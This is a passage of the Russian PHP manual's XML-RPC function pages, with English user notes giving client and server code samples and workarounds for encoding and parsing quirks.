        $requestprms['host'] = $this->urlparts['host'];
        $requestprms['port'] = $this->urlparts['port'];
        $requestprms['uri'] = $this->urlparts['path'];
        $requestprms['method'] = $function;
        $requestprms['args'] = $arguments;
        $requestprms['debug'] = 0;
        $requestprms['timeout'] = 0;
        $requestprms['user'] = NULL;
        $requestprms['pass'] = NULL;
        $requestprms['secure'] = 0;

        $result = xu_rpc_http_concise($requestprms);
        if (is_array($result) && isset($result['faultCode'])) {
            print('Error in xmlrpc call \''.$function.'\''."\n");
            print('  code   : '.$result['faultCode']."\n");
            print('  message: '.$result['faultString']."\n");
            return false;
            }
        $return = $result;
        return true;
    }

}
overload('xmlrpc_client');

?>
bmichael at goldparrot dot com 08-Feb-2003 09:52
If anyone is interested in making XMLRPC requests directly from the client, I have been able to get xmlrpc to
work with vcXMLRPC javascript backend.

After about 1 week of scanning the market, I found this solution to be the best on Javascript back end.  It uses the Microsoft.HTTP activeX control for IE, or HTTPRequest Object for Mozilla.

You include vc(Virtual Cowboys) vcXMLRPC.js file into your pages and make the rpc calls from with javascript to create the requests.

It works both ways.

Two Notes:

I have tested it on IE 6.02 and you need to change lines in ProcessRequest :
function to read:

  dom = this.getObject("XMLDOM",http.responseText);

and change the getObject function to use the latest ActiveX Control:

 MSXML2.XMLHTTP.3.0  (or 4.0)
 MSXML2.DOMDocument.3.0  (or 4.0)

The controls are found on MSDN in the Web Services -> XML area.

As another note, you DO NOT NEED the rpcproxy.cgi script to use this.  That is a proxy script to get around JS Security.  You can use PHP to build the proxy.  But, I was able to get the CGI working with GCC compiler on Solaris (change the -KPCI, depend and -x03 optimizer settings in the Makefile )
steve at orangeNOSPAMimagineering dot com 24-Aug-2002 01:32
There's a handy library by Keith Devens (version 2.2.1) at
http://www.keithdevens.com/software/xmlrpc/

Here is a sample client. It remotely calls sample.sumAndDifference
with two parameters (3 and 5).
It returns:

sum => 8
difference => -2

<?php
include ("kd_xmlrpc.php");
// define("XMLRPC_DEBUG", 0);    // Set to 1 for handy debugging

$method = "sample.sumAndDifference";
$params = XMLRPC_prepare(array(3,5));

$site = "xmlrpc-c.sourceforge.net";
$location = "/api/sample.php";

list($success, $result) = XMLRPC_request( $site, $location, $method, $params );

// XMLRPC_debug_print();    // uncomment for debugging

foreach ( $result as $key => $value ) {
          echo(" $key => $value \n");
}

?>
hfuecks at pinkgoblin dot com 15-Aug-2002 08:32
This extension does not handle the process of making making XML-RPC client requests via HTTP; it only prepares the XML-RPC request payload.

This differs from many other XML-RPC implementations but offers greater flexibility, allowing SSL connections, authentication headers and XML-RPC via other transports like SMTP.
ivanr at webkreator dot com 21-Jun-2002 11:50
For a really easy way to use this XML-RPC extension take a look at

XML-RPC Class Server (http://www.webkreator.com/php/xcs/)

It automatically creates servers out of PHP classes. Creating clients is almost as easy, especially with the recent addition of the overload extension to PHP (see http://www.php.net/manual/en/ref.overload.php).
nic at uklinux dot NOSPAM dot net 24-Apr-2002 09:05
An alternative XML-RPC implementation is available at http://xmlrpc.usefulinc.com - it's written in PHP so you can use it on servers for which you don't have the luxury of rebuilding PHP on.

nic


Декодирует XML в нативные типы PHP

  • « Функции XML-RPC
  • xmlrpc_decode »
  • PHP Manual
  • Функции XML-RPC
  • Декодирует XML в нативные типы PHP

xmlrpc_decode_request

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_decode_request — Декодирует XML в нативные типы PHP

Описание

xmlrpc_decode_request(string $xml, string &$method, string $encoding = ?): mixed
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

User Contributed Notes

e dot sand at elisand dot com 22-Jun-2009 08:20
This function works exactly the same as xmlrpc_decode() except it gives you access to the method being called as well (xmlrpc_decode() only outputs the params from the XML-RPC call).

To use this function, simply create an empty variable to store the method string in, and then pass by reference like so:

<?php
$method = null;
$params = xmlrpc_decode_request('<xml rpc request>', &$method);
?>

What you will get back are the params stored in $params, and $method will have the method being requested.


Декодирует XML в нативные типы PHP

  • « xmlrpc_decode_request
  • xmlrpc_encode_request »
  • PHP Manual
  • Функции XML-RPC
  • Декодирует XML в нативные типы PHP

xmlrpc_decode

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_decode — Декодирует XML в нативные типы PHP

Описание

xmlrpc_decode(string $xml, string $encoding = "iso-8859-1"): mixed
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Список параметров

xml

XML-ответ, возвращаемый методом XMLRPC.

encoding

Входящая кодировка, поддерживаемая iconv.

Возвращаемые значения

Возвращает массив, или число, или строку, или логическое значение в соответствии с ответом, возвращаемым методом XMLRPC.

Примеры

Смотрите пример xmlrpc_encode_request().

Смотрите также

  • xmlrpc_encode_request() - Генерирует XML для метода запроса
  • xmlrpc_is_fault() - Определяет, является ли массив значений представлением ошибки XMLRPC

User Contributed Notes

Alwin 18-May-2016 02:24
Note that from libxml 2.7.9+ there is a limit of 10MB for the XML-RPC response.

If the response is larger, xmlrpc_decode will simply return NULL.

There is currently no way to override this limit like we can with the other xml functions (LIBXML_PARSEHUGE)
carmageddon at gmail dot com 03-Jun-2013 07:42
Apparently there is a slight problem with xmlrpc_decode (or php) which re-formats this input: <value><double>0.000000</double></value>

As the double number 0.

To get around it, use: number_format($val, 2);
Output would be 0.00
phil dot berry at elise-international dot net 05-Sep-2011 08:09
Make sure the server isn't returning a string with a space for the first character, this fails in version 5.3.3 and the function returns null (though seems to be ok in 5.2).

Easily sorted by  trimming the response data:

<?php xmlrpc_decode( trim($response) ); ?>
ryon dot sherman at gmail dot com 21-Aug-2009 04:18
64 bit (i8) integers are not parsed by xmlrpc_decode().
Use a string replacement to work around this:

<?php

$xml = str_replace('i8>', 'i4>', $xml);

$decoded_xml = xmlrpc_decode($xml);

?>
david dot bachelart at polytechnique dot org 18-Jul-2004 08:18
Be careful with encodings, the xmlrpc-decode function is rather strict. For example, the following response parse returns NULL :

<?xml version="1.0"?>
<methodResponse>
   <params>
      <param>
         <value><string>a & b</string></value>
         </param>
      </params>
   </methodResponse>

You should use entities :
<?xml version="1.0"?>
<methodResponse>
   <params>
      <param>
         <value><string>a &amp; b</string></value>
         </param>
      </params>
   </methodResponse>

If your server does not encode responses properly, you may have to process responses before parse.
hfuecks at pinkgoblin dot com 16-Aug-2002 03:57
Use this with an XML-RPC client to decode a server response into native PHP variables. It will automatically translate the response XML-RPC data types into their PHP equivalents.

This function will return only false is there is any problem with format of the XML it receives.

The HTTP response header will need to be stripped off with something like;

<?php
$xml=(substr($response, strpos($response, "\r\n\r\n")+4));

$phpvars = xmlrpc_decode ($xml);
?>


Генерирует XML для метода запроса

  • « xmlrpc_decode
  • xmlrpc_encode »
  • PHP Manual
  • Функции XML-RPC
  • Генерирует XML для метода запроса

xmlrpc_encode_request

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_encode_request — Генерирует XML для метода запроса

Описание

xmlrpc_encode_request(string $method, mixed $params, array $output_options = ?): string
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Список параметров

method

Имя метода для вызова.

params

Параметры метода, совместимые с сигнатурой вызова.

output_options

Массив, уточняющий параметры вывода, может содержать (значения по умолчанию выделены):

  • output_type: php, xml

  • verbosity: no_white_space, newlines_only, pretty

  • escaping: cdata, non-ascii, non-print, markup (может быть строка с одним значением или массив с несколькими значениями)

  • version: simple, xmlrpc, soap 1.1, auto

  • encoding: iso-8859-1, другой набор символов, поддерживаемый iconv

Возвращаемые значения

Возвращает строку, содержащую XML-представление запроса.

Примеры

Пример #1 Пример клиентской функции XMLRPC

<?php
$request = xmlrpc_encode_request("method", array(1, 2, 3));
$context = stream_context_create(array('http' => array(
'method' => "POST",
'header' => "Content-Type: text/xml",
'content' => $request
)));
$file = file_get_contents("http://www.example.com/xmlrpc", false, $context);
$response = xmlrpc_decode($file);
if ($response && xmlrpc_is_fault($response)) {
trigger_error("xmlrpc: $response[faultString] ($response[faultCode])");
} else {
print_r($response);
}
?>

Смотрите также

  • stream_context_create() - Создаёт контекст потока
  • file_get_contents() - Читает содержимое файла в строку
  • xmlrpc_decode() - Декодирует XML в нативные типы PHP

User Contributed Notes

Anonymous 27-Aug-2009 12:33
ever tried transmitting an array like the following with xmlrpc?
$var1=array(7=>14,9=>18);

The output array looks quite different! It will look like that:
$var2=array(14,18);

The only solution i found is to prepend a space to the index:
$var3=array(' 7'=>14,' 9'=>18);

Using that method you'll get the right result. ($var1)
cometfish at hotmail dot com 01-Sep-2008 12:47
The example above is incorrect - the header needs to be an array, see post by "chris dot vigelius at gmx dot net": http://au.php.net/manual/en/function.stream-context-create.php#74431
His post also shows how to do browser authentication, as below:
<?php
   $request = xmlrpc_encode_request("methodName", array("methodParam"));
   $auth = base64_encode($username.":".$password);
   $header = (version_compare(phpversion(), '5.2.8'))
     ? array("Content-Type: text/xml","Authorization: Basic $auth")
     : "Content-Type: text/xml\r\nAuthorization: Basic $auth" ; //[1]
   $context = stream_context_create(array('http' => array(
      'method' => "POST",
      'header' => $header,
      'content' => $request
   )));
   $webservice="http://www.example.com/rpc";
   $file = file_get_contents($webservice, false, $context);
   $response = xmlrpc_decode($file);
   if (xmlrpc_is_fault($response)) {
      return "xmlrpc: $response[faultString] ($response[faultCode])";
   } else {
      return $response;
   }
?>

1 - EDITOR NOTE: THIS IS A FIX FROM "SandersWang dt php at gmail dot com"
fredrik at it dot cdon dot com 06-Feb-2008 05:05
It should be noted that encoding does not seem to encode anything, just specify what goes into the XML header.

We had problems with double-encoded UTF strings being saved to database when using this function, sending it of to a apache xml-rpc servlet and storing it in mysql database. It was solved by setting 'escaping' to just 'markup' and 'encoding' to 'UTF-8' (don't forget to set 'utf-8' in xmlrpc_decode too).

It seems that UTF-8 encoded strings gets escaped with their bytes as entities instead of their characters as entites.
handco at gmail dot com 12-Mar-2007 08:39
Simple OO client with function Overload :

the php metho test_helloworld is translated to xmlrpc method test.helloworld.

class RpcClient {

    private $_methods;
    private $_context;
    private $_url;

    function __construct ($url, $user, $passwd) {
        $auth = base64_encode(sprintf('%s:%s', $user,$passwd));
        $this->_context = stream_context_create(array(
            'http' => array(
                'method' => 'POST',
                'header' => "Content-Type: text/xml\r\n".
                            "Authorization: Basic $auth" ,

            )
        ));
        $this->_url = $url;

        $this->registerMethod ("Test_HelloWorld");

    }

    function __call($methodName, $params) {
        if (array_key_exists($methodName,$this->_methods)) {
            // on appelle la fonction RPC
            $m = str_replace('_', '.', $methodName);
            $r = xmlrpc_encode_request($m, $params,array('verbosity'=>'newlines_only'));
            $c = $this->_context;
            stream_context_set_option($c,'http','content',$r);
            $f = file_get_contents($this->_url,false,$c);
            $resp = xmlrpc_decode($f);
            return $resp;
        } else {
            // on appelle la fonction de l'objet
            call_user_method_array($methodName, $this,$params);
        }
    }

    private function registerMethod ($method) {
        $this->_methods[$method] = true;
    }

}
giunta dot gaetano at sea-aeroportimilano dot it 21-Aug-2006 03:54
Take care that this function will generate invalid xmlrpc content when invoked with certain parameters (said content will be happily parsed by the lib itself, but not by other implementations).

xmlrpc_encode_request(null, null)
will generate a response without a value

xmlrpc_encode_request('myfunc', array('faultCode' => 666, 'faultString' => 'hello world')
will generated a request containing a <fault> member instead of <params>
php at hendrik dash krauss dot de 28-May-2005 02:29
For examples / documentation of the array output_options, see http://xmlrpc-epi.sourceforge.net/main.php?t=php_api#output_options

In short, output_options lets you send compact xmlrpc (without all the "pretty whitespace" xmlrpc_encode adds normally), apply an own escaping table prior to sending, set the encoding, and a couple of other things (the page even says something about soap 1.1 ... I don't know details).
<URL:http://www.dlitz.net/go/contact/> 03-May-2004 11:28
Note that as far as I can tell, the &#10; characters generated by PHP in the base64 fields don't appear to violate the XML-RPC standard at all.  XML-RPC messages *are* in XML format, and as such, the XML entities should be getting decoded before being passed to a base64 decoder.  So, the previously-mentioned Jakarta-based XML-RPC server appears to violate the XML spec.  i.e. There's nothing here that needs to be "fixed" in PHP.
kelly at seankelly dot biz 28-Dec-2002 04:02
Binary strings (set with xmlrpc_set_type) go into a <base64>...</base64> block like you'd expect. But after every 80th character, this function inserts the XML entity "&#10;", which is a Unicode newline, as if to cause a line-wrap, which is admittedly silly.

Silly though it may be, it causes real problems for some XML-RPC servers, such as http://jakarta.apache.org/xmlrpc/ (nee Helma). Stripping out those entities with something like

$req = preg_replace('/&#10;/', '', xmlrpc_encode_request("my.method", $args));

works around the problem.
hfuecks at pinkgoblin dot com 15-Aug-2002 09:06
This function should be used by an XML-RPC client to create an XML payload for an XML-RPC request;

<?php
$params = "system.methodSignature";
$method = "system.methodHelp";
$request = xmlrpc_encode_request($method,$params);
echo ( $request );
?>

Produces;

<?xml version='1.0' encoding="iso-8859-1" ?>
<methodCall>
<methodName>system.methodHelp</methodName>
<params>
 <param>
  <value>
   <string>system.methodSignature</string>
  </value>
 </param>
</params>
</methodCall>

The second argument recognises the type of variable and generates the correct XML-RPC structure. See xmlrpc_encode() for more details.


Генерирует XML для PHP значения

  • « xmlrpc_encode_request
  • xmlrpc_get_type »
  • PHP Manual
  • Функции XML-RPC
  • Генерирует XML для PHP значения

xmlrpc_encode

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_encode — Генерирует XML для PHP значения

Описание

xmlrpc_encode(mixed $value): string
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Получает XML-RPC тип для значения PHP

  • « xmlrpc_encode
  • xmlrpc_is_fault »
  • PHP Manual
  • Функции XML-RPC
  • Получает XML-RPC тип для значения PHP

xmlrpc_get_type

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_get_type — Получает XML-RPC тип для значения PHP

Описание

xmlrpc_get_type(mixed $value): string
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Эта функция особенно полезна для base64 и строки, содержащей дату.

Список параметров

value

Значение PHP

Возвращаемые значения

Возвращает тип XML-RPC.

Примеры

Пример #1 Пример XML-RPC типа

<?php
echo xmlrpc_get_type(null) . "\n"; // base64
echo xmlrpc_get_type(false) . "\n"; // boolean
echo xmlrpc_get_type(1) . "\n"; // int
echo xmlrpc_get_type(1.0) . "\n"; // double
echo xmlrpc_get_type("") . "\n"; // string
echo xmlrpc_get_type(array()) . "\n"; // array
echo xmlrpc_get_type(new stdClass) . "\n"; // array
echo xmlrpc_get_type(STDIN) . "\n"; // int
?>

Смотрите также

  • xmlrpc_set_type() - Устанавливает тип XML-RPC, base64 или datetime для значения строки PHP

User Contributed Notes

hfuecks at pinkgoblin dot com 16-Aug-2002 10:41
This function returns the type of a PHP variable in XML-RPC terms. It won't "spot" base64 or iso8601 types unless they have been defined using xmlrpc_set_type().

For iso8601 type it returns "datetime".

Otherwise it returns strings corresponding directly the XML-RPC data types e.g. "struct","int","string","base64" etc.


Определяет, является ли массив значений представлением ошибки XMLRPC

  • « xmlrpc_get_type
  • xmlrpc_parse_method_descriptions »
  • PHP Manual
  • Функции XML-RPC
  • Определяет, является ли массив значений представлением ошибки XMLRPC

xmlrpc_is_fault

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

xmlrpc_is_fault — Определяет, является ли массив значений представлением ошибки XMLRPC

Описание

xmlrpc_is_fault(array $arg): bool
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Список параметров

arg

Массив, возвращаемый xmlrpc_decode().

Возвращаемые значения

Возвращает true, если аргумент означает ошибку, в противном случае - false. Описание ошибки доступно в $arg["faultString"],а код ошибки в $arg["faultCode"].

Примеры

Смотрите пример xmlrpc_encode_request().

Смотрите также

  • xmlrpc_decode() - Декодирует XML в нативные типы PHP

User Contributed Notes

angelo at at dot com 25-Jan-2011 12:31
A note, response from xmlrpc_decode is not always an array. Whenever the XMLRPC server returns a string, xmlrpc_is_fault will complain about not being an array.

Best way to detect errors is

<?php

    $response = xmlrpc_decode($file);

    if (is_array($response) && xmlrpc_is_fault($response)) {
        throw new Exception($response['faultString'], $response['faultCode']);
    }

?>


Декодирует XML в список описаний методов

  • « xmlrpc_is_fault
  • xmlrpc_server_add_introspection_data »
  • PHP Manual
  • Функции XML-RPC
  • Декодирует XML в список описаний методов

xmlrpc_parse_method_descriptions

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_parse_method_descriptions — Декодирует XML в список описаний методов

Описание

xmlrpc_parse_method_descriptions(string $xml): array
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

User Contributed Notes

giunta dot gaetano at gmail dot com 29-Dec-2020 05:05
The format for the xml string is the same that has to be returned by functions registered via calls to `xmlrpc_server_register_introspection_callback`.

It is documented at http://xmlrpc-epi.sourceforge.net/specs/rfc.system.describeMethods.php


Добавляет документацию самоанализа

  • « xmlrpc_parse_method_descriptions
  • xmlrpc_server_call_method »
  • PHP Manual
  • Функции XML-RPC
  • Добавляет документацию самоанализа

xmlrpc_server_add_introspection_data

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_add_introspection_data — Добавляет документацию самоанализа

Описание

xmlrpc_server_add_introspection_data(resource $server, array $desc): int
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

User Contributed Notes

giunta dot gaetano at gmail dot com 29-Dec-2020 05:03
The format to be used for data in the $desc array is the same as returned by calls to function `xmlrpc_parse_method_descriptions`


Разбирает XML-запросы и вызывающие методы

  • « xmlrpc_server_add_introspection_data
  • xmlrpc_server_create »
  • PHP Manual
  • Функции XML-RPC
  • Разбирает XML-запросы и вызывающие методы

xmlrpc_server_call_method

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_call_method — Разбирает XML-запросы и вызывающие методы

Описание

xmlrpc_server_call_method(
resource $server,
string $xml,
mixed $user_data,
array $output_options = ?
): string
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

User Contributed Notes

marco.buratto at tiscali punto it 28-Dec-2006 08:15
xmlrpc_server_call_method() with class methods

<?php
require_once ('Connections/adodb_mysql_connection.php');

// Instantiating my own class
$my_report = new external_report($db_connection);

// Setting up the XML-RPC "server"
$xmlrpc_server_handler = xmlrpc_server_create();
xmlrpc_server_register_method($xmlrpc_server_handler, "external_method", array(&$my_report, "export"));

// Creating XML return data
if ($response = xmlrpc_server_call_method($xmlrpc_server_handler, $HTTP_RAW_POST_DATA, null))
    {
    header('Content-Type: text/xml');
    echo $response;
    }

// **************** class definition ****************

class external_report
    {
    protected $db_connection;

    public function __construct($db_connection_pointer)
        {
        if (method_exists($db_connection_pointer, "Execute")) $this->db_connection = $db_connection_pointer;
        else die("...");
        }

    public function export($method_name, $params_array)
        {
        $id_dir = (int)$params_array[0];
        $id_usr = (int)$params_array[1]; // not used, just an example
        // We have to add arguments' validating code here and NOT inside the constructor (as usual)
        // because arguments are passed directly by xmlrpc_server_call_method (?!!)

        $myexport = array();

        $dirs_query = "SELECT documento_id FROM tabella_cartelle WHERE cartella_id = ".$id_dir;
        $dirs_result = $this->db_connection->Execute($dirs_query) or die("...");

        $index = 0;
        while(!$dirs_result->EOF)
            {
            $docs_query = "SELECT codice, titolo FROM tabella_documenti WHERE id_documento = ".$dirs_result->Fields('documento_id');
            $docs_result = $this->db_connection->Execute($docs_query) or die("...");

            $myexport[$index]['codice'] = $docs_result->Fields('codice');
            $myexport[$index]['titolo'] = $docs_result->Fields('titolo');

            $index++;
            $dirs_result->MoveNext();
            }

        return $myexport;
        }
    }
?>
nyvsld at gmail dot com 27-Nov-2005 05:08
<?php
/* method implementation */
function impl($method_name,$params,$user_data){
  var_dump(func_get_args('impl'));
  return array_sum($params);
}

/* create server */
$s=xmlrpc_server_create();
xmlrpc_server_register_method($s,'add','impl');

/* calling server method */
$req=xmlrpc_encode_request('add',array(1,2,3));
$resp=xmlrpc_server_call_method($s,$req,array(3,4));

/* process result */
$decoded=xmlrpc_decode($resp);
if(xmlrpc_is_fault($decoded)){
    echo 'fault!';
}

var_dump($decoded);
?>


Создаёт сервер XML-RPC

  • « xmlrpc_server_call_method
  • xmlrpc_server_destroy »
  • PHP Manual
  • Функции XML-RPC
  • Создаёт сервер XML-RPC

xmlrpc_server_create

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_create — Создаёт сервер XML-RPC

Описание

xmlrpc_server_create(): resource
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает серверные ресурсы

  • « xmlrpc_server_create
  • xmlrpc_server_register_introspection_callback »
  • PHP Manual
  • Функции XML-RPC
  • Уничтожает серверные ресурсы

xmlrpc_server_destroy

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_destroy — Уничтожает серверные ресурсы

Описание

xmlrpc_server_destroy(resource $server): bool
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

User Contributed Notes

nospam at bigbadweb dot co dot uk 22-Nov-2005 02:26
This function returns true (1) if successful and false (0) if resource is invalid or could not be destroyed.


Регистрирует функцию PHP для генерации документации

  • « xmlrpc_server_destroy
  • xmlrpc_server_register_method »
  • PHP Manual
  • Функции XML-RPC
  • Регистрирует функцию PHP для генерации документации

xmlrpc_server_register_introspection_callback

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_register_introspection_callback — Регистрирует функцию PHP для генерации документации

Описание

xmlrpc_server_register_introspection_callback(resource $server, string $function): bool
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

User Contributed Notes

ronadaassoc at gmail dot com 22-Oct-2022 05:51
<?xml version='1.0'?>
<introspection version='1.0'>
<methodList>
  <methodDescription name='introspection.hello'>
   <author>Dan Libby</author>
   <purpose>greets the caller and demonstrates use of introspection mechanism</purpose>
   <signatures>
    <signature>
     <params>
      <value type='string' name='name'>name of the caller</value>
     </params>
     <returns>
      <value type='string'>a greeting to the caller</value>
     </returns>
    </signature>
   </signatures>
   <see><item>system.listMethods</item></see>
   <examples/>
   <errors>
      <item>returns fault code 1 if the caller's name is not specified</item>
   </errors>
   <notes>
    <item>this is a lame example</item>
    <item>example of multiple notes</item>
   </notes>
   <bugs/>
   <todo/>
  </methodDescription>
</methodList>
</introspection>
giunta dot gaetano at gmail dot com 29-Dec-2020 01:58
The introspection callback function should return an XML string with the following format:

<?xml version='1.0'?>
<introspection version='1.0'>
 <methodList>
  <methodDescription name='introspection.hello'>
   <author>Dan Libby</author>
   <purpose>greets the caller and demonstrates use of introspection mechanism</purpose>
   <signatures>
    <signature>
     <params>
      <value type='string' name='name'>name of the caller</value>
     </params>
     <returns>
      <value type='string'>a greeting to the caller</value>
     </returns>
    </signature>
   </signatures>
   <see><item>system.listMethods</item></see>
   <examples/>
   <errors>
      <item>returns fault code 1 if the caller's name is not specified</item>
   </errors>
   <notes>
    <item>this is a lame example</item>
    <item>example of multiple notes</item>
   </notes>
   <bugs/>
   <todo/>
  </methodDescription>
 </methodList>
</introspection>


Регистрирует функцию PHP к методу ресурса, соответствующему method_name

  • « xmlrpc_server_register_introspection_callback
  • xmlrpc_set_type »
  • PHP Manual
  • Функции XML-RPC
  • Регистрирует функцию PHP к методу ресурса, соответствующему method_name

xmlrpc_server_register_method

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_server_register_method — Регистрирует функцию PHP к методу ресурса, соответствующему method_name

Описание

xmlrpc_server_register_method(resource $server, string $method_name, string $function): bool
Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

User Contributed Notes

giunta dot gaetano at gmail dot com 30-Dec-2020 09:02
Note 1: even if you add introspection data via calls to `xmlrpc_server_register_introspection_callback` or `xmlrpc_server_add_introspection_data`, the server will not validate for you the number or type of received parameters.
This means that you have to implement all required validation of the received parameters in your php function.

Note 2: take care about dealing with base64 and datetime values in the received parameters: those are not automatically transformed into php scalar values, but into stdClass objects with members `xmlrpc_type` and `scalar`
giunta dot gaetano at sea-aeroportimilano dot it 11-Aug-2006 06:55
To have an xmlrpc fault response programatically generated by the server, the php function registered as method handler must return an array containing a FaultCode and a FaultString members.

function $myfunc($methodname, $vals, $extra_data)
{
...
return array('faultCode' => 666, 'faultString' => 'DOH!');
}
nyvsld at gmail dot com 27-Nov-2005 05:03
prototype of registered function:

function method_impl(string $method_name, array $params, array $user_data);

$method_name
    the public method name, known by calling client
$params
    parameters specified by calling client
$user_data
    any local data, passed by `xmlrpc_server_call_method'
dante at lorenso dot com 11-Aug-2005 12:46
To register a callback to a 'static' function within the same class, consider a syntax like the following:
<code>
$callback = array (__CLASS__, "my_function_name");
xmlrpc_server_register_method($xmlrpc_server, "my_function", $callback);
</code>
Doing it this way makes it easier to rename your class later.
eiriks at hollowmatrix dot com 28-Mar-2005 03:08
Remember that you can't do like Chrigu and Nate said if you want to add methods from a static class (Hence you can't create any instances of it).
A workaround is to create lambda functions calling the
methods:

// Our static handler class
static class MyHandler
{
    public function getPrice($item)
    {
        $prices = array("apple" => 4, "orange" => 5);
        return $prices[$item];
    }
    public function buy($item, $number)
    {
        $price = self::getPrice($item) * $number;
        do_thing_to_sell_the_item();
        return $price;
    }
}

// Use reflection to get method names and parameters
$mirror = new ReflectionClass("MyHandler");
foreach ($mirror->getMethods() as $method)
{
    // Create new "lambda" function for each method

    // Generate argument list
    $args = array();
    foreach ($method->getParameters() as $param)
    {
        $args[] = '$'.$param->getName();
    }
    $args = implode(',', $args);

    // Generate code
    $methodname = $method->getName();
    $code = "return {$real_class}::{$methodname}({$args});";

    // Create function, retrieve function name
    $function_name = create_function($args, $code);

    // Register the function
    xmlrpc_server_register_method($myserver, $methodname, $function_name);
}
Nate Parsons 29-Apr-2003 03:12
In case its not completely obvious what Chrigu meant,

You can register a method inside your class by doing the following:

xml_rpc_server_register_methode($xmlrpc_server, "myClientCall", array(&$this, "handleClientCallFunc"));

where $this == the magic class $this. =)
18-Nov-2002 10:40
Here is an example how to register a class methode:

xml_rpc_server_register_methode($xmlrpc_server, "foo", array(&$bar, "foo_func"));

where $bar is the instance of your class and foo_func a methode of this class. Don't forget the '&'!

hope this may be useful...

Chrigu


Устанавливает тип XML-RPC, base64 или datetime для значения строки PHP

  • « xmlrpc_server_register_method
  • Модули только для Windows »
  • PHP Manual
  • Функции XML-RPC
  • Устанавливает тип XML-RPC, base64 или datetime для значения строки PHP

xmlrpc_set_type

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_set_type — Устанавливает тип XML-RPC, base64 или datetime для значения строки PHP

Описание

xmlrpc_set_type(string &$value, string $type): bool

Устанавливает тип XML-RPC, base64 или datetime для значения строки PHP.

Внимание

Эта ЭКСПЕРИМЕНТАЛЬНАЯ функция. Поведение функции, её имя и документация, которая к относится к функции, могут измениться в следующих версиях PHP без уведомления. Функцию включают в код на свой страх и риск.

Список параметров

value

Значение для установки типа.

type

'base64' или 'datetime'

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка. В случае успешного выполнения, value конвертируется в объект.

Ошибки

Выдаёт сообщение E_WARNING для не поддерживаемых типов XMLRPC.

Примеры

Пример #1 Пример использования xmlrpc_set_type()

<?php

$params = date("Ymd\TH:i:s", time());
xmlrpc_set_type($params, 'datetime');
echo xmlrpc_encode($params);

?>

Вывод приведённого примера будет похож на:

<?xml version="1.0" encoding="utf-8"?>
<params>
<param>
 <value>
  <dateTime.iso8601>20090322T23:43:03</dateTime.iso8601>
 </value>
</param>
</params>

User Contributed Notes

bmatheny at mobocracy dot net 24-Mar-2006 03:08
The following code segfaults some older (pre 5.1.2) versions of PHP:

